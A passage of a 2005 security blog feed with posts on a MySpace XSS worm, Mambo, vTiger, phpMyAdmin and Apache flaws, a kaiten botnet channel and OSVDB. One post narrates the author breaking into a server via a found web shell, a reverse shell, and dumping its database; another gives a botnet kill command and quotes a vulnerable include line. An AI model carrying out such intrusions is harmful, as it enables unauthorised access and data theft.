bytes). Here is a look at the decompiled code:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/actionscriptcode1.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/320/actionscriptcode1.jpg" border="0" alt="" /&gt;&lt;/a&gt;We see that the author goes as simple as possible, by using the GetURL() function; a simple request to initiate the attack.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/actionscriptcode2.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/320/actionscriptcode2.jpg" border="0" alt="" /&gt;&lt;/a&gt;Here you see the attack itself, directly to the "TheName" variable. It's amazing how simple that attack was, and how successful it _could_ have been. It's propagation really became unsuccessful simply because it relied heavily on that remote .js file, and all the free hosts the author used to upload the .js file were quickly removing the accounts.&lt;br /&gt;&lt;br /&gt;... To be continued.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113488403670768267?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113488403670768267/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113488403670768267' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113488403670768267'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113488403670768267'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/new-myspace-xss-worm-circulating.html' title='New MySpace XSS worm circulating. [UPDATED]'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113467289613455379</id><published>2005-12-15T07:37:00.000-05:00</published><updated>2005-12-15T13:54:56.856-05:00</updated><title type='text'>True Cracks: Breaking 'Child Modeling' ring for fun and profit.</title><content type='html'>&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;the following post is the start of a series of stories portraying actual, possible, or fictional penetrations. The post titles will be prefixed with "True Cracks:", and will pertain to keywords specified in its suffix. Enjoy!&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;TARGET: Child Porn ring "childmodel.ru"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5:41AM-EST&lt;/span&gt;: the sky is dark and its wind is chilling. My servers are auricular; their fans are blazing through searing heat as my fingers pound away at keys, like a brigade of storming sun-tzu trained battalions vanishing and appearing causing visual deceit.&lt;br /&gt;&lt;br /&gt;While in the midst of research, I noticed a rare message spring up across my terminal; "You have new unread mail!". Stunned, I executed "mail" and spotted the culprit: an email that has a blatantly false sender, a subject entirely in Brazilian, and a body full of JavaScript code refreshing itself so that a remote .scr (windows screen saver) file is executed.&lt;br /&gt;&lt;br /&gt;"Hrm. Why would I randomly be sent this malicious email? Is this a direct attack? Is this just part of my email being harvested somewhere and being spammed?" I thought, before quickly visiting the web server hosting the possibly malicious file. It was determined that the server was located in Russia, and the web site in particular was an anarchist's revolutionary propaganda site.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5:46AM-EST&lt;/span&gt;: After translating the site, I used &lt;a href="http://www.searchmee.com/web-info/ip-hunt.php"&gt;SearchMee.com's IP-Hunt&lt;/a&gt; and &lt;a href="http://www.whois.sc/reverse-ip/"&gt;Whois.sc's Reverse-IP Lookup&lt;/a&gt; utilities' to determine if any other sites were hosted on the server.&lt;br /&gt;&lt;br /&gt;At this point, my calm mood went into abstract disgust as it was realized that the hosts served on the same IP made reference to "Child Models". Before my imagination went too far of itself, I had to check out the sites myself.&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-style: italic;"&gt;"Child Models" is but one of the terms used loosely by Pedophiles who share pictures of barely-clothed children in sexual positions.&lt;/span&gt; &lt;/blockquote&gt;While visiting the sites, it was quickly realized that they were in fact linked to suggestive pornography involving children.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;5:58AM-EST&lt;/span&gt;: When I was able to calm down, concentrate, and think the situation through. I thought of reporting the site, but due to its very innocent looking front I knew it'd make more sense just to explore the system further. Remember that Brazilian email that brought me to this server in the first place? I took the full URL, excluding the windows screen saver file, and explored the listed files in the directory. There were several files, mostly images and such, but the one that caught my attention was "cmd.php".&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/phpcmd.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; cursor: pointer;" src="http://photos1.blogger.com/blogger/5197/1577/320/phpcmd.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Executing the script yielded results, as it turned out to be a very simple piece of malicious PHP code for use in remote command execution. The code goes as follows: &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/phpcmdcode.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: left; cursor: pointer;" src="http://photos1.blogger.com/blogger/5197/1577/320/phpcmdcode.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Before continuing, let me just emphasize a few facts. First, the vulnerability exploited by the spammer who sent me the original email, was in the PHP-Nuke distribution used on that anarchy revolutionists' site. Secondly, the attacker uploaded the cmd.php script, uploaded her malicious windows screen saver file, and did whatever she did from thereonin. Thirdly, the attacker left the server alone after I repeatedly deleted the malicious file she kept uploading.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6:09AM-EST&lt;/span&gt;: I executed a specially crafted reverse shell python code that connected back to a machine I have control of with shell command capability. I noticed I had nobody (99) UID, the server was running Fedora with SELinux secured kernel, and there weren't many SUID binaries on the server, neither were there many overwritable directories or files. I used the 'find' binary to search for all readable files on the server, and the lengthy process proved useless. Permissions throughout the server were tight, though I could read the public_html per user. I managed to discover the primary site of the server, which sold "tokens" to the "model" sites. You could only access the sites' member sections after creating a user account, from the token page located at the primary site. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;6:49AM-EST&lt;/span&gt;: Since I had a shell with apache privileges, I was able to read the .htaccess, .htpasswd, ttlog.txt (account creation/deletion with plaintext passwords), and configuration files for each site. That proved to be useful, for I was able to dump the entire database containing client email addresses, their passwords, and e-gold identification number -- thanks to the configurations within each site.&lt;br /&gt;&lt;br /&gt;... To be continued.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113467289613455379?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113467289613455379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113467289613455379' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113467289613455379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113467289613455379'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/true-cracks-breaking-child-modeling.html' title='True Cracks: Breaking &apos;Child Modeling&apos; ring for fun and profit.'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113417672132140098</id><published>2005-12-09T19:33:00.000-05:00</published><updated>2005-12-10T09:57:29.953-05:00</updated><title type='text'>errata of statistics</title><content type='html'>I've always been a fan of attrition.org's &lt;a href="http://attrition.org/errata/stats.html"&gt;statistics errata&lt;/a&gt; page. why? well, because it brings up a complaint I've had for years and years. the fact is, media companies and corporate research groups bullshit their way through statistics, and in many cases causing FUD (fear, uncertainty, doubt). and when I say 'bullshit', I mean pick numbers out of their asses, or use a generalized number. for example:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cio-today.com/story.xhtml?story_id=02000000H5E4"&gt;Phishing Scams Dupe 70% of Targets&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;the article above references a study, the following line caught my attention specifically:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;Of those receiving the phony e-mails, most thought they might be from legitimate companies. Seven in 10, or 70 percent, were fooled by the e-mails, said the report.&lt;/blockquote&gt;&lt;br /&gt;ignore the heap of text after that, and you get to:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;The researchers conducted in-home interviews with more than 350 Internet users nationwide. The researchers also reviewed the e-mails received by those households.&lt;/blockquote&gt;&lt;br /&gt;350 internet users. the article would be a bit more remotely respectable if it had been titled "Phishing Scams Dupe 70% (out of 350 random Americans) of Targets". It is very dangerous to just simply generalize a percentage from a very minimal number of individuals, in comparison to hundreds of millions of Internet users.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113417672132140098?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113417672132140098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113417672132140098' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113417672132140098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113417672132140098'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/errata-of-statistics.html' title='errata of statistics'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113395374520341056</id><published>2005-12-07T06:04:00.000-05:00</published><updated>2005-12-07T06:09:05.216-05:00</updated><title type='text'>phpMyAdmin &lt;=phpMyAdmin 2.7.0(-rc1) $GLOBALS overwrite</title><content type='html'>&lt;a href="http://www.hardened-php.net/"&gt;Stefan Esser&lt;/a&gt; released an &lt;a href="http://seclists.org/lists/fulldisclosure/2005/Dec/0272.html"&gt;advisory&lt;/a&gt; disclosing a $GLOBALS overwrite bug, similar to that of Mambo server. &lt;br /&gt;&lt;br /&gt;this PHP $GLOBALS bug is turning out to be ugly -____-&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113395374520341056?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113395374520341056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113395374520341056' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113395374520341056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113395374520341056'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/phpmyadmin-phpmyadmin-270-rc1-globals.html' title='phpMyAdmin &lt;=phpMyAdmin 2.7.0(-rc1) $GLOBALS overwrite'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113392428128510232</id><published>2005-12-06T21:47:00.000-05:00</published><updated>2005-12-06T22:13:41.593-05:00</updated><title type='text'>serious vTiger &lt;=4.2 flaws</title><content type='html'>while recently mangling some XSS in vTiger 4.2, I decided to look into the rest of the &lt;a href="http://www.sec-consult.com/fileadmin/Advisories/20051125_vtiger_crm.txt"&gt;advisory&lt;/a&gt; disclosed by the folks at &lt;a href="http://www.sec-consult.com "&gt;www.sec-consult.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The situation is quite bleak, at this point the developers of vTiger have to rewrite most of that code, or do some serious patch work. &lt;br /&gt;&lt;br /&gt;There are barely any sort of sanitizing for variables passed through by users, and same goes for checks going on to verify if a user is accessing module files directly, or not. &lt;br /&gt;&lt;br /&gt;From the situation at hand, an attacker can:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;1) craft malicious urls for use in XSS against users on the domain&lt;br /&gt;2) execute complex sql queries to read database data, or inject code (rgod style)&lt;br /&gt;3) upload data without authentication or checks&lt;br /&gt;4) execute arbitrary data, thanks to #3&lt;br /&gt;5) read local files, in the form of local inclusion attacks&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;If you go to the vTiger project page, they reference the fact that &lt;span style="font-weight:bold;"&gt;over&lt;/span&gt; 100,000 downloads of the software has taken place. if that's the case, don't be surprize by another surge of bots, or defacements.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113392428128510232?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113392428128510232/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113392428128510232' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113392428128510232'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113392428128510232'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/serious-vtiger-42-flaws.html' title='serious vTiger &lt;=4.2 flaws'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113385256959099240</id><published>2005-12-06T01:53:00.000-05:00</published><updated>2005-12-06T02:08:41.816-05:00</updated><title type='text'>.php.any file extention PHP execution</title><content type='html'>on Sun, 04 Dec 2005 22:32:49 -0600,  Ron &lt;iago_at_valhallalegends.com&gt; &lt;a href="http://seclists.org/lists/fulldisclosure/2005/Dec/0170.html"&gt;disclosed&lt;/a&gt; a possible vulnerability pertaining to Apache+PHP. the scenerio goes as follows:&lt;br /&gt;&lt;br /&gt;an attacker is able to upload the file:&lt;br /&gt;&lt;blockquote&gt;example.php.rar (or as it seems, many many many other extensions)&lt;/blockquote&gt;&lt;br /&gt;possibly bypassing filters which strip out or rejects files with a .php extension. &lt;br /&gt;&lt;br /&gt;the next step, is simply visiting the file you uploaded, and if it contained php code it most likely will get executed. &lt;br /&gt;&lt;br /&gt;now, the condition is if the extension, in my example ".rar", is not configured in Apache with a proper mime type, then it seems to be executed under the php engine.&lt;br /&gt;&lt;br /&gt;so far replies have pointed out the following affected versions:&lt;br /&gt;Apache 1.3.33&lt;br /&gt;Apache 2.0.54&lt;br /&gt;&lt;br /&gt;I've personally verified that the issue works on:&lt;br /&gt;Apache/1.3.33 with PHP 4.4.0 (cli) (built: Oct 22 2005 02:27:37)&lt;br /&gt;&lt;br /&gt;I plan on doing my research a bit later on in the morning.. to be continued!&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113385256959099240?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113385256959099240/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113385256959099240' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113385256959099240'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113385256959099240'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/12/phpany-file-extention-php-execution.html' title='.php.any file extention PHP execution'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113315373808525911</id><published>2005-11-27T23:40:00.000-05:00</published><updated>2005-11-28T00:47:09.103-05:00</updated><title type='text'>Interaction with *nix-based botnet channel</title><content type='html'>in my last post I quickly briefed on the idea of a possible mambo-based worm -- and these days, thats a very trivial task; since there are several templates of worms written with the task of exploiting several holes.&lt;br /&gt;&lt;br /&gt;the other night I discovered an automated worm in the process of attacking my personal server. I grabbed the binary used in an attempted code inclusion, and discovered it was a basic &lt;a href="http://packetstormsecurity.nl/irc/kaiten.c"&gt;kaiten.c&lt;/a&gt; binary. it had a default password of "bleh" from the original code, its servers pointed to undernet, and the channel "#uid0".&lt;br /&gt;&lt;br /&gt;so, I joined the channel and noticed that there were several high profile machines up there, including ***.*** (which I've tried to contact but to no avail). the worms were going at full blast, for many machines a minute were logging into the channel. all kaiten. now usually when I find a kaiten channel, I tend to be evil and make the bots quit with a simple command. it's actually very trivial to do:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;!* KILL&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;but the channel was in +m (moderated) mode.&lt;br /&gt;&lt;br /&gt;I noticed a user on the channel, who had operator status, was running commands on a bot. I whois'd the bot and discovered it was an ***.*** machine. I contacted the user and asked him if he knew that trespassing onto the machine (in much simpler terminology) was illegal. I doubt he cared.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://photos1.blogger.com/blogger/5197/1577/1600/worm-intrusion.0.png"&gt;&lt;img style="cursor:pointer; cursor:hand;" src="http://photos1.blogger.com/blogger/5197/1577/400/worm-intrusion.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;upon further questioning, he revealed the worm they used was running on C++, attacked xmlrpc, ekinboard, phpbb, and a few other web-based vulnerabilities (including mamboserver). he wouldn't show me the source, but I really didn't care anyway.&lt;br /&gt;&lt;br /&gt;just another day in the neighborhood..&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113315373808525911?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113315373808525911/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113315373808525911' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113315373808525911'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113315373808525911'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/11/interaction-with-nix-based-botnet.html' title='Interaction with *nix-based botnet channel'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113258745136054917</id><published>2005-11-21T10:19:00.000-05:00</published><updated>2005-11-21T10:37:31.373-05:00</updated><title type='text'>my prediction (concerning Mambo/PHP flaw)</title><content type='html'>as some of you may know, recently there has been a surge of high profile defacements, specifically on servers running Mambo atop versions of PHP that allow for $GLOBALS arrays to be overwritten. I haven't noticed a big surge of media-whoring yet, but during my research on clients its apparent that there are a big percentage of machines affected.&lt;br /&gt;&lt;br /&gt;the flaw in PHP basically allows for attackers to overwrite the $GLOBALS array, and with some special crafting an attacker is very much capable of inserting arbitrary data, in the case of Mambo; remote execution in the form of remote inclusion. Stefan Esser of &lt;a href="http://www.hardened-php.net"&gt;Hardened-PHP&lt;/a&gt; disclosed the vulnerability on October 31st. check out the advisory &lt;a href="http://www.hardened-php.net/index.76.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;the flaw in Mambo is simply a remote inclusion attack (or local if safemode is on), and is all thanks to it's globals.php globals emulation. the variable that is left vulnerable after the $GLOBALS overwrite is "mosConfig_absolute_path", thanks to the following code:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;require_once( $GLOBALS['mosConfig_absolute_path'] . '/includes/HTML_toolbar.php' ); &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;the vulnerablity in Mambo was disclosed by "peter MC tachatte" aka slythers@gmail.com, which btw is a cool dude, as far as our one-email communication goes. the disclosure happened on November 16th.&lt;br /&gt;&lt;br /&gt;since then, there has been some major defacement and penetrations going on in several high profile networks -- it was surely bound to happen. &lt;br /&gt;&lt;br /&gt;to cut the bullshit, I predict some worms have been written already, or are in the process of being written, and they will attack this vulnerability fiercely. let me just add, that thus far I've seen a high rate of vulnerable servers out there, thanks to this combination of flaws. so pull out your popcorn and tin foil (not aluminum) hats, and enjoy the show.&lt;div class="blogger-post-footer"&gt;  &lt;script type="text/javascript"&gt;&lt;!--
google_ad_client = "pub-6066920721030083";
google_ad_width = 180;
google_ad_height = 150;
google_ad_format = "180x150_as";
google_ad_type = "text_image";
google_ad_channel ="";
google_color_border = ["000000","B4D0DC","CCCCCC","333333"];
google_color_bg = ["F0F0F0","ECF8FF","FFFFFF","000000"];
google_color_link = ["0000FF","0000CC","000000","FFFFFF"];
google_color_url = ["008000","008000","666666","999999"];
google_color_text = ["000000","6F6F6F","333333","CCCCCC"];
//--&gt;&lt;/script&gt;
&lt;script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js"&gt;
&lt;/script&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/16578208-113258745136054917?l=xavsec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xavsec.blogspot.com/feeds/113258745136054917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=16578208&amp;postID=113258745136054917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113258745136054917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/16578208/posts/default/113258745136054917'/><link rel='alternate' type='text/html' href='http://xavsec.blogspot.com/2005/11/my-prediction-concerning-mambophp-flaw.html' title='my prediction (concerning Mambo/PHP flaw)'/><author><name>Xavier</name><uri>http://www.blogger.com/profile/00785855826635701771</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-16578208.post-113175594892671516</id><published>2005-11-11T19:28:00.000-05:00</published><updated>2005-11-11T19:39:08.936-05:00</updated><title type='text'>OSVDB</title><content type='html'>for the last few days I've been data mangling vulnerabilities for the &lt;a href="http://www.osvdb.org"&gt;Open Source Vulnerability Database&lt;/a&gt;. and I must say, although now I have the hang of it -- at first it was a bit stressing -- simply because you don't want to be the person to really mess up on an advisory post. &lt;br /&gt;&lt;br /&gt;on one of the first vulnerabilities I mangled. the discloser sent an email to Full Disclosure with a theoretical vulnerability -- as if he knew the flaw in question could be exploited, but he didn't make mention of specific details.&lt;br /&gt;&lt;br /&gt;when I received the vulnerability in my queue, I could tell there were a few problems just by reading the original 'advisory'. so, I researched the bug on my own and found four seperate variables that allowed for XSS injection.&lt;br /&gt;&lt;br /&gt;I also found more XSS bugs in other parts of the application, which I didn't add because it had nothing to do with his advisory.&lt;br /&gt;&lt;br /&gt;the point is, it's not as easy as it looks. and the people involved in the project are actually pretty cool, and put a lot of time into it. much props to Jericho and the rest of the moderators/data manglers.&lt;br /&gt;&lt;br /&gt;so, which was the first vulnerability that popped my cherry? well, here it is: &lt;a href="http://osvdb.org/displayvuln.php?osvdb_id=20678"&gt; HP-UX envd Unspecified Local Privilege Escalation&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I have some advisories coming up this week, so be on the look 